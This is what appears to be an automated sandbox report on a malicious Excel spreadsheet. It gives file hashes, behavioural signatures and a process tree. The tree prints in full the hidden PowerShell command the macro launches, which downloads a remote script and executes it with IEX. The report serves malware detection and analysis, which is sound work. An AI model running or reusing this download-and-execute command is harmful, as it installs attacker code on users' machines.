Analysis

  • max time kernel
    15s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03/11/2024, 21:03

General

  • Target

    ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls

  • Size

    30KB

  • MD5

    347bea8e71a1fb34fe6c1f48cb77cef9

  • SHA1

    8c24139f35afccaa2260d05e98a5547fed710527

  • SHA256

    ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09

  • SHA512

    a62f5088f7f2fcb8006902f32e8086bde72c199ee905ffd884f88fc60f3815e1c05a33aeff748a6533404fe8536c1371255c65e61719fd1120365d4d7d1f804f

  • SSDEEP

    768:kK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFzqFVOp46msi:kK1Tgbyw3sz2jyngov9rjXjBCKoAuulQ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://127.0.0.1:8000/arquivos/windows.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2992

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/2700-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/2700-1-0x0000000072B6D000-0x0000000072B78000-memory.dmp

          Filesize

          44KB

        • memory/2700-2-0x0000000000770000-0x0000000000870000-memory.dmp

          Filesize

          1024KB

        • memory/2700-4-0x0000000000770000-0x0000000000870000-memory.dmp

          Filesize

          1024KB

        • memory/2700-3-0x0000000000770000-0x0000000000870000-memory.dmp

          Filesize

          1024KB

        • memory/2700-5-0x0000000000770000-0x0000000000870000-memory.dmp

          Filesize

          1024KB

        • memory/2700-8-0x0000000000770000-0x0000000000870000-memory.dmp

          Filesize

          1024KB

        • memory/2700-7-0x0000000000770000-0x0000000000870000-memory.dmp

          Filesize

          1024KB

        • memory/2700-11-0x0000000072B6D000-0x0000000072B78000-memory.dmp

          Filesize

          44KB

        • memory/2700-12-0x0000000000770000-0x0000000000870000-memory.dmp

          Filesize

          1024KB